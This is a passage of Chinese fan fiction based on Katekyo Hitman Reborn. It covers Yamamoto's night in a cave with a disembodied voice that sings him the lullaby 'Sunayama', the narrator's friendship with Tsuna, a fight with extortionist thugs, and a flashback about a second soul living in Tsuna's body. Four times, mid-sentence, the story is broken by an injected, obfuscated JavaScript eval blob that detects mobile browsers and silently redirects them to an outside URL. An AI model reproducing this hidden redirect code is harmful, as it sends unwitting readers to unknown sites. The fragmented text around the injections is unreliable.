他摔得太惨了,整个人咕噜咕噜地滚了好几圈才停下来。他痛得直抽气,那道声音却毫无所觉似的,顿了顿惊讶地说:“咦,居然不痛!好奇怪!” 当然了,这是他的身体啊! 他又有点儿想笑,又有点儿想哭。还没等他做好决定是哭还是笑,声音颤抖着再次响起了。这次语气中少了欢快和雀跃,取而代之的是一种奇异的恐惧:“……等等,这是……血?” “血……”山本武的视线向下移。 是的,血。 山本武的膝盖、他的手、他的脸,几乎裸露在衣服之外的所有部分,全部都在刚才的事故中被剐蹭得渗出了血。当然,伤口并不很大,可红色爬出来的时候,还是显得尤为壮烈。 很幸运,他只是受了皮外伤、骨头没有大碍,男孩跌跌撞撞爬起来,继续往山洞走,这期间那声音异常沉默,直到他到达目的地、为了更舒服点儿躺下来,摊平四肢,盯着山洞外的月光时,她才再次出声:“很痛吧?” 他挠了挠头,说还好,其实没什么。 他从小是个皮猴,精力充沛,跑跑跳跳时受伤是常有的事。父亲从不制止他的危险行为,只是教他怎样规避风险,在他受伤的时候也露出心疼的神色,可更多还是嘱咐他下次要小心。 他觉得这疼痛不过如此,那道声音却完全不赞同他。她说,一定很痛吧,你身上还有力气吗? 她又说,如果刚才我没有分神和你说话就好了,这样你就不会受伤了。 她絮絮叨叨:如果很痛的话,和我交换身体吧,我可以帮你痛过去,就当我补偿你。 她说,一定很痛吧。 她似乎认为他身上流的血构成了死亡。语气中的茫然和彷徨,就像是看到了黄土中的濒死的鸟儿一样不知所措。可她自己本就是一只被填满了棉花的死去的鸟。 山本武安慰她:“我不痛。没关系的。我觉得我可以撑到天亮。完全没问题!” 他本能地不喜、或者说畏惧她话语中流露出来的茫然和破碎的感觉,连忙转移了话题:“说起来,已经很晚了呢。到睡觉的时候了。” 那声音心神不定地回答说:“是啊。该睡觉了。……该唱睡前的安眠曲了。” 山本武随口道:“你会唱安眠曲吗?” 声音说:“会哦。” 声音说:“每天睡觉的之前,妈妈会给我唱安眠曲。她喜欢晚上的时候插花,很奇怪的习惯对吧?她就在我床边,一边咔嚓咔嚓地插花,一边给我唱安眠曲。我听着这样的声音就慢慢地睡着了。” 山本武有些羡慕:“我从来没有听过安眠曲呢。老爸根本不会唱,妈妈……我没见过妈妈。” 声音说:“你想听安眠曲吗?” 山本武愣了一下,点了点头。 那道声音自顾自地说:“这是我第一次给别人唱安眠曲。” 山本武说:“这是我第一次听别人唱安眠曲。” 月光缓缓移动,如同沙子般逐渐将小孩埋住。山本武昏昏欲睡,在短暂的沉静之后,她唱了起来。 · 轻柔的小调如同波浪一般缓缓传入男孩的脑海中。一开始,那声音有些颤抖,后来慢慢地平和下来。 “……大海翻腾,对面是佐渡岛。 小麻雀在喊,太阳已落山。 大家一起叫啊叫,小星星探出脸儿笑。” “日暮来砂山,只听见阵阵轰鸣涨晚潮。 小麻雀四下飞吧,狂风又起了。 大家各自回家吧,身影不见了。 回家吧回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748992|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家吧,踏过原野拨开茱萸草。 小麻雀再见,明日再相见。 大海啊再见,明日再相邀。” 北原石秋的《砂山》,描述了日暮时分的海边景象,曲调略带荒凉和忧伤。它表达了诗人在砂山时所见的景象和感悟,并不是典型安眠曲,可她哼唱着,将“明日再相见”“明日再相邀”的尾音拉得很长,有种恋恋不舍,仿佛孩子依偎在母亲的怀中,努力睁着眼睛,不愿就此睡下。 随着时间推移,月光落入山洞中,将男孩的身影彻底埋没。他躺在冰凉的地面上,心脏平稳地跳动着,睡意朦胧,在那低声哼唱的安眠曲作用下,他感到一种想要流泪的冲动,他逐渐闭上眼睛,进入了梦乡。 回家吧回家吧,踏过原野拨开茱萸草。 小麻雀再见!明日再相见! 大海啊再见,明日再相邀。 ——太阳已落山。 · 山本武是被吵醒的。 “阿武——阿武——你在哪里——?” 父亲的声音往常总是低沉的,今天却震得森林枝头的鸟儿都飞走了;街坊邻居们也纷纷呼喊着,喊着他的名字,将树林里的枯叶踩得踏踏响。 他清醒过来,睡意全无,一下子跳了起来,大声地回应:“我在这里——” “这孩子!太调皮了!” 父亲匆匆赶来,将他抱了起来。过了一个晚上,他身上刮出的伤口都已经停止流血,凝固的血痂让他看上去很狼狈,他抱着父亲的脖子,咧开了嘴大笑:“老爸!我想你了哇!你怎么才来啊!” 山本刚将他全身上下的骨头摸了一遍,确认没有其他伤,这才松了口气。看着自家调皮的小子,往常的淡定终于破了功,流露出几分后知后怕:“你这孩子,一个人跑到山里来,还一个人过了夜,真是大胆啊!” 他下意识反驳:“我不是一个人喔!有人陪着我的!” 山本刚问:“还有别人?是谁?你认识他?” “是——是——啊。我不知道她的名字。” 山本武张了张嘴,慢慢又闭上了。 他这才发现他们没有互通姓名。他不知道她是谁,不知道与她相关的任何信息。或者说,她真的存在吗?她不会是他在山林中惶恐前行时产生的臆想吧? 不,不会的,她为他唱了安眠曲,他还记得。那是真实存在的啊! 可如果真实存在,现在她又去哪儿了呢? 山本刚摸了摸神情迷惘的儿子的头,并没有多问其他,带着他回了家。 走出山林的时候,晨曦明亮,山本武趴在父亲的肩膀上回看林中惊飞的鸟,想起了自己踏入林中的初衷。 ……也许,他说的是对的。 怪物在白天就会消失,而她的魂魄也回到了自己的身体里。所以他们分别了,这理所应当。 男孩告诉自己应该高兴,哪怕是为了结缘而未曾谋面的同伴。 然而,他始终心情低落,感到怅然。 ——何时再见呢,小麻雀? 5. 超星爆发 山本武是我本校中的第三个朋友。第一个当然是京子。第二个则是沢田纲吉。 我的沢田纲吉之间的友谊,用一个句子来概括,那就是吊车尾之间的惺惺相惜。 在我转学过来之前沢田纲吉没什么朋友。虽然他和京子有所来往,但以我为数不多的观察来看,可以得出一个结论:他们的关系很古怪。我原本以为沢田纲吉暗恋京子——这个年纪常有的情感嘛——但后来发现不像。沢田纲吉似乎觉得自己对不起京子,为此尽量避免和后者单独相处;京子则隐晦地和我透露过,“这并不是他的错,只不过……”她说到一半就说不下去了,我觉得她在难过,就也识趣地没有再探寻下去。 后来我品了品,隐约意识到,他们之间本应该还有一个人存在、这个人串联起了他们的来往,只不过,后来那个人想必是离开了。 如果多一点好奇心、向班上的同学打听,应该能知道这位神秘的A君是谁吧。不过,我已经说过了,我并没有多少好奇心,多管闲事的欲望也少得可怜。故此我没有打听任何线索,倒是因为和沢田纲吉前后座,还常年一块吊车尾,而结成了微妙的友谊。 初遇的时候沢田纲吉在睡觉,我本以为是个巧合,后来发现他可能是真的很喜欢睡觉。 我啪啪翻着《Jump》书页的时候,总能够听到后方传来的均匀的呼吸声。不过这并不持久,过了一会儿他就会发出轻微的梦呓,好像在噩梦中遇到了什么恐怖的事。 授课老师发现这一点后,会过来把他的桌子敲得梆梆响,连带着我摸鱼看《Jump》的计划也受到阻碍。 这种日常太过频繁,一周要有三四次。我终于受不了了,在老师看过来的时候,不动声色地把他叫醒。 他一开始大吃一惊,慌慌张张地醒来,在全班同学面前出糗,惹得大家哄堂大笑。后来习惯了之后,我敲一敲他的桌子,他就会条件反射地擦擦自己的嘴巴、挺直腰杆,作出正在读书的姿势,成功躲开老师锐利的目光。 我敲他桌子的频率终于高过他被训斥的频率时,他上课总算不再睡觉了。 他还是耷拉着脑袋、背也坐得不很直,有种无精打采的伤心感,但不时将犹豫的目光落在我身上。 我觉得他可能想和我说些什么。但这家伙,是名副其实的胆小鬼吧。没有外力干涉的话,没准他会将目光放在我身上一辈子也说不定。 就在我忍不住要扭头问他到底想说什么的时候,这天课上,他将一个纸团扔到了我的桌子上。 我大吃一惊。 因为他——不管怎么说——都不像是会有这样表现的家伙。兔子也有主动进攻的一天吗?我怀着微妙的心情打开了纸团,上面的字迹歪歪扭扭,诡异的眼熟感啊。他磕磕绊绊地写: “ありがとうございます” 就是谢谢的意思。我起了坏心思,刷刷地写,“谢谢什么?”又把纸团扔了回去。 我侧头通过窗户玻璃的反光观察他,他打开纸团,看清楚内容后一下子慌张起来。不知道有什么好慌张的……。他捂住了自己的脸,过了好一会,才写下答复,重新将它递过来。 “谢谢你……总是把我从噩梦中叫醒。” 我豪爽地回复:“不用谢,其实,如果不是打扰了我看《Jump》的话我是不会出手的。” 他先是露出“怎么这样”的颜艺表情,接着犹犹豫豫地继续写:“你在上课的时候看《Jump》吗?你最喜欢哪一部?” 我不吝于分享此类爱好,于是把我正在追的《超星爆发》告诉了他。这是部蛮小众的日常搞笑漫,作者三年前开始连载,讲述了超星快爆发时附近的星域民众们在得知末日即将降临后的反应。 我本以为沢田纲吉没关注过这部漫画,毕竟它真的很小众、因为成绩不好一度沦落到被腰斩的可怜境地,还是热爱它的读者向官方发出了强烈的抗议,官方惊讶于它的真爱粉居然如此之多,它才勉强存活了下来。 但我没想到的是,他露出了惊喜的神色:“居然是《超星爆发》吗!” 他开始滔滔不绝地说起了相关的剧情和猜测,最后惴惴地试探我的反应。 我惊讶地发现他的很多观点,都跟我不谋而合。 天呐,我把这一发现告诉他,最后心血来潮写,“纲吉君,难道我们是彼此灵魂的半身吗?”不然怎么会有这么多观点都相近? 我将纸条传回去,他却久久没有再传来纸条,不知在想什么,过了一会,我突然听到他吸鼻子的声音。 ……啊。 我看着玻璃的反光,他脸上的神采真是难以形容啊。不过,不管怎么说,总体而言应该是高兴的吧……? · 从此我就经常和沢田纲吉在课上聊天扯淡。 从《超星爆发》聊到《Jump》上的其他作品,我们意外合得来。怎么说呢,他倒不是会对漫画如数家珍的类型,但偶尔提出的见解和吐槽都让我感到惊喜,某种程度上我觉得自己遇到了知音。 两个吐槽役能够混到一起是多么不容易! 我们就像世上两条仅存的同类的鱼,机缘巧合之下终于遇见了彼此,为此我感激涕零,觉得老天爷待我不薄。 我们的关系飞快进步,很快就到了能够约着一起吃午饭便当的程度。不过,这种时候并不多,碍于他和京子的微妙关系,我往往和他说一声午好就会分开,接着在下午上课时再见面。 自此,我上课和沢田纲吉扯淡,下课跟晃悠过来的山本武聊天,后来因为座位临近,逐渐形成了上课的时候我们三个人互扔纸团,下课的时候也三个人一起胡扯歪谈的局势。 坐在两个男生中间,我感叹:“三个人的友谊好拥挤哦。”每天都有那么多事要做。 沢田纲吉说:“阿雪明明乐在其中吧。” 我:“只是为了应付琴子奶奶的突击检查罢了。” 在家里,琴子奶奶会冷不丁问我一些问题,检查我在学校中的情况。她对我的成绩不怎么关注,但希望我能有良好的人际关系。在我说明了我的三位朋友之后,她露出欣慰的神色。 放学后,山本武和京子都去参加部活,而我和沢田纲吉能同路一段时间。因为我们都是放学回家主义结社的成员,并没有加入其他社团, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748993|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然也就不会有部门活动了。 我们路过飞机头排成两列的校门口,走向回家的路。 “说起来,很久没有见到云雀学长了呢。”沢田纲吉说。 “他是谁?” “阿雪不知道吗?”他惊讶地说,接着恍然,“嗯,你回来……你转学过来还没有多久呢。” 接着,他神神秘秘地和我讲了传说中的风纪委员长的故事。传说中那位传说,凶残恐怖,对风纪要求极为严格,一旦学生违反风纪就有可能获得殴打+住院大礼包,一双浮萍拐让所有学子战战巍巍,一句“咬杀”如同地狱恶鸣瞬间让所有人两眼一黑看不到未来,好压迫感大魔王! 我听完之后作出评价:“那‘咬杀’算不算巴普洛夫的铃铛,听了这个词之后所有人都会被训得条件反射昏迷过去?” 巴普洛夫是什么?铃铛和他有什么关系?沢田纲吉听得眼睛冒蚊香圈:“……算……不算……算吧?” 我们闲聊着,绕过了一个拐角。 变故就这样出现了。 “哟哟,废柴纲,好久不见。瞧瞧身边是谁啊,这么了不起还有女朋友了啊!” “哈哈哈哈哈,之前那么拽的样子,结果还是一脸衰相嘛,乖乖回家找妈妈喝奶去吧!” “正好最近哥几个缺点钱,怎么样,废柴纲,给我们赞助点呗?” 几个穿得像下水沟一样的贼眉鼠眼的家伙出现在了我们面前,为首的人举着一把小刀,装模作样地挥舞了两下,他身后的人发出桀桀桀的笑声,所有人都满脸蠢相。 他们向我们走来,一副敲诈勒索的姿态。 我感觉挺新奇。因为上学以来,我并没有这样的被勒索的经历。想想原因,可能是第一天我就和校花京子做了朋友,后来山本武与我的关系也融洽,校园明星的光辉落到我身上,纵使有人羡慕嫉妒恨,想必也没人赶上来找我麻烦。 沢田纲吉却是个不折不扣的失权者。所谓的失权者,即是在人群中没有话语权、没有存在感、没有任何正常人所有权利的家伙。这样的人,被敲诈勒索就像流落在街头的小孩会被欺凌一样,再正常不过了。我跟在他旁边,算是被无辜殃及的一条鱼。 沢田纲吉在看到他们的时候就陷入了慌乱的状态,他看上去很想拔腿就跑,眼角余光触及我的时候,少年却奇异地镇定了下来。 他的表情逐渐坚定。 他好像下定了什么决心。 “你要给他们钱吗?”我低声问他。 他小声地说:“阿雪,等会你先跑。” 说着他掏出了零钱夹,我还以为他会抽出万元大钞递过去,对面的人显然也是如此以为的,他们面上露出垂涎之色,没想到少年定定看了零钱夹两秒,突然用力把它扔向了人群。 接着,他转身握住了我的手。 他的声音颤抖着。 他握着我的手也在颤抖。 ——他全身上下都在颤抖,少年憋红了脸,我觉得他像一团滚动着的融化的太阳,现在这团太阳握紧了我的手,接着大声地喊:“快跑!” 于是,我与太阳一齐狂奔。 6. 不悦 我们一路跑过两个拐角,钻过三条小道,最后一头撞进喧闹的集市中。 确认后面的人气急败坏的叫骂声已经消失,沢田纲吉松开我的手,撑着膝盖大口呼吸,汗水从他的额头往下流,顺着他的鼻尖滴在地上,被午后的太阳蒸发。 相比起他,我倒显得从容。跑几步而已,对我来说没有任何难度。我等他缓过来,抱着手臂上上下下看了他好几圈,他察觉到我的目光,原本就红的脸现在更红了,语气听上去马上就要哭出来了:“阿、阿雪?怎么了吗……。” 我用捧读的语气说:“没想到你这么勇敢。蠢纲,你这家伙还蛮不错的嘛。” 他睁大眼睛,和我对视两秒,接着触电一样移开了目光。他胡乱地应对着,说些“这没什么”“刚才跑的时候踩到了水”“作业还没写完”之类的话。 我耐心地听他说。 “……” 他在我的目光中,慢慢停止了胡乱的呓语。 他慢慢转回眼珠,望着我。在那褐色的瞳孔中,倒映着我的影子。我有些恍惚,印象中有一个少年站在镜子前,固执地想要在自己的投影里看到另一个人的存在——那少年是谁呢?我想不起来,而此时此刻,沢田纲吉站在我面前。 他用一种羞愧的语气,和我说:“对不起。” 我:“……” · 又来了,这种突然被说“对不起”的剧情。 并盛町居民都很喜欢对别人道歉吗?NPC程序里面加入了不必要的东西吧我说! · 我问他:“为什么突然说对不起?” 他嗫嚅着。 “……明明被夸是‘勇敢的人’这样的人,实际上却还是临阵脱逃、只知道逃跑……什么的。对不起。” 最后一句话反而说得很有力度。 褐色的额发被汗水浸得泛湿,少年的瞳孔颤动着,嘴抿成了一条直线。让我不解的是,他居然真的在为这样的原因而羞愧、而感到抱歉。 ……羞愧姑且能够理解,抱歉又是从何而来? 我这样想,也就这样问了出来。他愣了一下,下意识接上:“只知道逃跑的话,根本配不上‘勇敢的人’的夸奖——” “不是的。” 我打断了他:“谁说勇敢的人不能逃跑?在明知自己打不过对方的时候逃离,是明智的选择。” 我认真地说:“我夸你勇敢,是因为我根据从前的相处,自顾自地为你下了定义,认为你是个胆小的家伙,哪怕面对敌人,也只会抱着头哭泣挨打。” “但你刚才居然拉着我的手跑掉了!很厉害啊,”我说,“而且还成功逃离了他们,这还不值得被称为‘勇敢’吗?阿纲,你对自己的要求未免太高了吧。” 一个小社会中的失权者,能够迈开步子逃跑,就已经是再了不起不过的勇敢了。沢田纲吉的勇气从何而来呢?不管从何而来,我想,他都该对自己感到满意了才对。 他却对自己的评价并不看重、而更在意我的看法似的,少年水浸过的眼睛亮晶晶的,他近乎急切地问我:“是真的吗?阿雪真的觉得、我是个勇敢的人吗?” “当然了,你很……” 我的话还没说完,就被粗鲁地打断了。 那几个混混追了上来,怒气冲冲:“混蛋,居然敢耍我们,废柴纲,你是想死吧!” 他们手里挥舞着的零钱夹空空如也,我下意识看向沢田纲吉,这是第二次,我很难形容他脸上的表情:我本以为他会心惊胆战、恐惧万分,然而他表现出来的更多是不悦。 一种“在重要的事物即将到来的前夕突然被打断进程”的不悦。 · 虽然在喧闹的街道上,但这群混混显然不打算善罢甘休。碍于治安管理他们没有拿出小刀,然而一群人围住我们,逼着我们往小巷走。 沢田纲吉再一次握住了我的手,我感到他掌心的潮湿,还有那若有若无的脉搏的跳动。他看向我,他的眼睛在说:你快跑! “那你呢?”我问。 他说:“反正他们也不是找你的呀,阿雪。” 他的声音又轻又软。不久前他脸上一闪而过的不悦仿佛是我的错觉。他表现出惶恐、惘然和坚定,诸多情绪无法辨别,最后能够读出来的,大概是他想要保护我。 想要保护我吗……。 我没有如他所愿,挣出人群逃跑,相反,我按照被裹挟着前进的路线前进,用轻快的语气恐吓他:“我跑了之后,你可能会被恼羞成怒地打成猪头哦。” 他焦急地说:“快要走出大街了……” 我说:“如果被打得住进了医院了的话,就没办法和我争倒数第一的位置了。” 他哭笑不得,小声地哄我:“只要阿雪跑掉,下一次第一的位置让给你——啊,都说了,不要在这样的事情上有胜负欲啊!” 我们都在对牛弹琴。我自顾自地露出犀利的眼神:“我知道了,住院了的话学业水平会下降得更厉害吧,这样就会不战而胜了……阿纲,你这家伙,出乎意料得狡猾啊。” “不行,我可不能让你得意下去。” · 于是,离开热闹的商业街、拐进逼仄的小巷里,我的第一件事是把沢田纲吉拉到我身后;第二件事是抡出我的拳头。 姑且一提吧,几个月前我干掉仇人,用的是剑和枪。因此事我声名鹊起,我没有对路人斩草除根,于是里世界中寥寥无几的关于我的情报上,写着我的剑“快得如同划过天穹的流星”,我的枪“准头能够和第一杀手媲美”。但事实上我最擅长的其实是体术。 几个地痞流氓,根本用不到一个回合,就都被我踩到了脚下。 “你们刚才说什么来着?嗯?抢劫是吧?勒索是吧?哦——借点钱来花花?有意思。” 我指挥沢田纲吉:“去帮我们借点钱来花花。等会我要去买最新一期《Jump》。” 他从善如流地走过去,手段娴熟地开始摸怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748994|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看着他摸出几个钢蹦,一边唾弃混混的贫穷,一边随口问:“A君会带你打架吗?” 他愣了一下:“A君?” 啊。我自知失言,掩饰道:“没什么。等会就去买《Jump》吧。” 他点了点头,又极尽搜刮,总算从混混身上凑齐了能够买两本《Jump》的钱。说起来啊《Jump》是很廉价的读物吧,结果一群大男人加起来才能凑到那么点钱……穷得真可笑。 混混们倒在地上,毫无反抗之力,大气也不敢出。只是在离开小巷的时候,我隐隐约约听到他们的低语。 “那家伙到底怎么回事……” “可恶,早知道就不找他了,明明几个月以前……” 他们的话含糊不清,我却通过这模糊的信息,推理出了一些合理的剧情。说到A君,即是我之前猜测的沢田纲吉和京子共同的好友,后来离开了的那个人。或许A君也曾和沢田纲吉共同面对混混,接着狠狠教训了后者一顿,所以他们才会怀恨在心,在A君离开后来找沢田纲吉的麻烦吧。 我漫不经心地想,我倒是有点像A君了。沢田纲吉和京子共同的好友、帮忙教训小混混什么的…… 不过,我们果然是两个不同的人。毕竟,几个月之前,我还游荡着,不知在哄骗着谁的身体呢。 · 今天是月度的《Jump》发行日。我们走进便利店时,店员正在往货架上摆放着新到的杂志漫画,口中不断抱怨着人手不足、店长却拖着不招人、工作很无聊…… “啊,欢迎光临,两位客人!” 我们走近货架,回过神的店员连忙对我们表示欢迎。 我的目光在货架上逡巡,接着飞快停住,不出所料与沢田纲吉的目光撞到了一起。 这一期的《Jump》对我们而言无疑是特殊的:封面的大图居然由《超星爆发》来主导,角色们将手掌搭在眉骨处向上远眺,超新星横据画面的一角,向四周迸射着长条形的光辉:无知者以为它如此美丽璀璨,知晓内情的人却清楚,超新星爆发的瞬间,所有事物都会被摧灭。 我们买了两本《Jump》。谢谢混混。希望混混下次还来打劫。 “说起来,你为什么会喜欢《超星爆发》呢?这部作品其实算得上冷门了吧。” 走出便利店的时候,我一边看着封面的图片,一边心不在焉地问沢田纲吉。 他没有马上回答我,而是陷入了沉吟。他抚摸这封面上的图案,突然一阵风吹向我们,他的额发被吹得掀起,露出少年一双明亮的眼睛,如同迸发光辉的超新星。 他说:“因为,‘超新星爆发的时候,不同维度的人们能够看到彼此。哪怕是平时无法接触现实的灵魂,也会在这个瞬间出现在人世间。’” “‘——这个瞬间,就是拥抱灵魂的唯一时刻。’” 他目光灼灼地看着我:“我喜欢这句话。因为我正是这样,想要拥抱无法接触现实的灵魂。” 7. 沢田纲吉回忆篇(一) 沢田纲吉十四岁。 十四岁是个挺尴尬的年纪。至少对沢田纲吉而言是的。大多数小孩会在十四岁时中二病确诊,做异世界穿越拔出圣剑拯救大陆的幻想,而沢田纲吉,这个平庸的少年,在十四岁的生日这天确认自己是个普通人。 走在路上会平地摔,成绩永远糟糕得不能及格,生活的大部分算不上完蛋了,至少也是灰暗的铅色。 沢田纲吉背着书包回家时被堵到巷子里勒索了一通。好在今天是生日,沢田奈奈多给了他零花钱,他把零钱夹递出去,总算脱身,更加垂头丧气地回到家。 刚刚进门,“砰!”——他被喷了满脸彩带,灰头土脸,滑稽可爱。 母亲举着彩带筒欢呼:“欢迎回来!阿纲,生日快乐!” 这就是他的十四岁生日。 沢田奈奈为他做了蛋糕,高兴地为他插上十四根蜡烛。沢田纲吉没有朋友,他一个人坐在蛋糕前,想了一会儿该许什么愿望。妈妈在旁边期待地看着、蜡烛快要燃到底了,可怜这家伙的脑子里什么也想不出来,于是他闭上眼睛,假装自己在许愿,接着硬着头皮吹灭了蜡烛。 他发誓他没有许愿。 他没有许愿多个朋友、没有许愿穿越异世、没有许愿任何光怪陆离的未来。 可是,就在吹灭蜡烛的一瞬间。 他的脑海中出现了一道声音。 “好香哦,甜甜的味道,”那个声音说,“蛋糕吗,我想吃。” ——从此,沢田纲吉的世界光怪陆离。 · 沢田纲吉接受了自己的身体里住着另一个灵魂的说法。 没办法,他不得不接受。这突然多出来的灵魂大摇大摆、全无躲避着他这个主人的意思,好几次沉默之中沢田纲吉以为她消失了,她却又在他对着作业抓耳挠腮的时候冒出来,幽幽地说:“好逊诶,这种题都不会做吗?蠢纲?” 少年面色爆红、恼羞成怒:“不要以为这么简单啊!有本事你来做啊!” “做就做!” 她指引着他把作业本填得满满当当。沢田纲吉看着题目发愣,难道这位不速之客真的是学霸?——他把作业交上去,第二天被老师骂得头都抬不起来。 正确率平时好歹还能保持在百分之二十的作业,这次全军覆没。沢田纲吉看着满满一张红勾欲哭无泪,而她正好出现,毫不心虚地说:“我说的是‘做就做’,又没说要做对。” 沢田纲吉觉得她是被神明派来惩罚他的十四年平庸。 “不要那么说,”她善意地纠正她,“没准我是上天派给你的好朋友呢?又或者说,我们是彼此灵魂的半身也说不定哦。” 他趴在桌子上,蔫蔫地抄写着被罚的课文,有气无力地说:“饶了我吧……” “彼此灵魂的半身”什么的……。少年想,怎么会有这样的东西啊?简直像是三流漫画小刊里的烂俗设定,不久就会被编辑无情要求腰斩的那种。相信这种设定的,想必大多是小学生,而时年十四的沢田纲吉已经放弃了这种庸俗幻想,人生一塌糊涂。 但改变还是在他的生活中慢慢出现。 之前已经说过了。沢田纲吉没有朋友。这个被称呼为“废柴纲”,后来亦逐渐接受了这一称呼的家伙也没有写日记的习惯。——这就是说,他大多数时候沉默寡言,并不表达自己。真是很难想象这家伙怎么进化成实打实的吐槽役的。 脑海中的不速之客到来后,沢田纲吉习惯了冷不丁听到她的声音的日常。然后他习惯了回应她。 她会在他写作业的时候冒出来。 “这道题啊……很简单呢,小菜一碟!绝对是选A!” 沢田纲吉把答案填上去:“哪怕是我也能肯定,答案是B。” 那声音哼哼:“不听我的话绝对会吃亏的。纲吉君,咱们走着瞧。” 沢田纲吉和她走着瞧;第二天,作业批改下发,答案不是A也不是B,正是堂堂角落里的C。 沢田纲吉:“……” 选择题一般只有三个选项。从此写作业时他排除他的选项和她的选项,正确率成功提升了。他对此心情微妙。 · 她也会在他上课打瞌睡的时候冒出来。 睡得正香的时候,雷霆一般的声音在他耳边炸响。 “沢田纲吉,你又上课睡觉?!给我出去罚站!” 他条件反射地站起来,跌跌撞撞地把桌子都撞翻了:“是……是!对不起,我知道了!” 说着便往门外跑,被讲台上黑脸的班主任叫住:“沢田君,你知道什么,想去做什么?” 沢田纲吉终于反应过来自己被耍了:“……” 罪魁祸首在他脑子里哈哈大笑,他被班主任训得蔫头巴脑,拖着步子站到教室外。 还不等他爆发被耍了之后的怒火,那声音抢先一步,说:“别低着脑袋了,阿纲,快抬头,快看快看,那边的树上有一只鸟呢!好可爱!” 沢田纲吉被罚站的次数多了去了,可罚站的时候盯着外边枝头的鸟儿看,还是头一次。他把平时落在脚尖上的目光转过去,小鸟啾啾啾的,有哪里特殊,有哪里可爱?——她喜欢。 他看久了,也有点儿喜欢起来。原本的怒火消弭殆尽。意识到这一点后,他的目光从鸟儿身上撤走,少年内心涌出了深深的挫败和不可思议。 他在心里愤愤地想,什么灵魂的半身,什么天降的好朋友——这个不告而来的家伙,真是太讨厌了啊! 可纵使他心里愤愤,她也不理会。她照样儿不定时出现,好像一支敲钟的木锤,沢田纲吉这座大钟循规蹈矩等着她来时,她不来。 他以为她离开了,她却又突然出现,砰然撞响他这愚钝的钟。 · 她在他看漫画的时候冒出来。 “只看漫画总感觉缺了点什么。我想吃蛋糕了,请让妈妈给我做好吗?我要吃提子拿破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748995|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仑,提子要加得多多的哦。”一开始是请求的语气,到了后半句就理所当然地开始提要求。 沢田纲吉无奈:“拜托别人的时候不要这样理直气壮啊。叫妈妈的时候这么顺口的吗?……而且吃的人是我,又不是你。做了你又不能亲口吃。” 她认真地说:“但我和你共享味觉啊。某些时候还能感知到你的情绪。纲吉君,虽然我们的生物学都一塌糊涂,不过,我倒是知道一点内幕呢:身体分泌出的激素可以影响灵魂的情绪,就像是现在,我知道你的身体正在分泌幸福的多巴胺。” 他信以为真,为此慌乱起来:“诶,诶——你能感知到我的情绪?”那不就意味着—— “是的,所以我知道,纲吉君也在为我的到来而高兴。”她老神在在地说。 她自顾自地下定义:“没想到阿纲你是傲娇人设。蛮可爱的。” “什——什么,才没有!不要乱说啊!怎么可能!你不要骗人了!谁会为了身体里突然多出另一个灵魂而高兴啊!”他像是被踩到了尾巴的猫,一蹦三尺高。少年结结巴巴地反驳,因为反应过于激烈,他在自己熟悉的房间里来了个平地摔。 “砰——咚?” 巨大的闷响声惊来了沢田奈奈,“阿纲,发生了什么?”“——没什么,妈妈!我只是……”少年绞尽脑汁将后者的询问敷衍过去,脸上的绯红色让母亲将信将疑,好在她没有过多发问,转身离开了。 他松了口气关上房间门,靠着门板缓缓滑坐在地,他觉得自己的反应太激烈了,一定暴露了什么;可他才不会承认呢,少年捂住了脸:“才没有,才没有。才没有——我才没有因为你的到来而高兴。” “这个我知道啦,”她在他身体里,用他的视角看他一系列的反应,看够了,气定神闲、笑嘻嘻地说,“激素影响灵魂的情绪什么的是我瞎编的。可没想到你这么容易被骗呢,蠢纲,你好可爱喔。” 沢田纲吉:“……” 他被手掌盖住的脸更烫了。她分不清他是羞愧呢还是恼怒呢还是不可思议?少年瞪大了眼睛,褐色的瞳孔颤动着,半晌他憋出终极大杀招:“拿破仑蛋糕……你别想了!不会让妈妈给你做的!” 她大惊失色:“诶——,不要啊!拜托了,阿纲,我想吃的呀!” “我又不想吃!” “可我真的很想吃。吃不到的话会大吵大闹。拜托了,阿纲——拜托了——” “……” 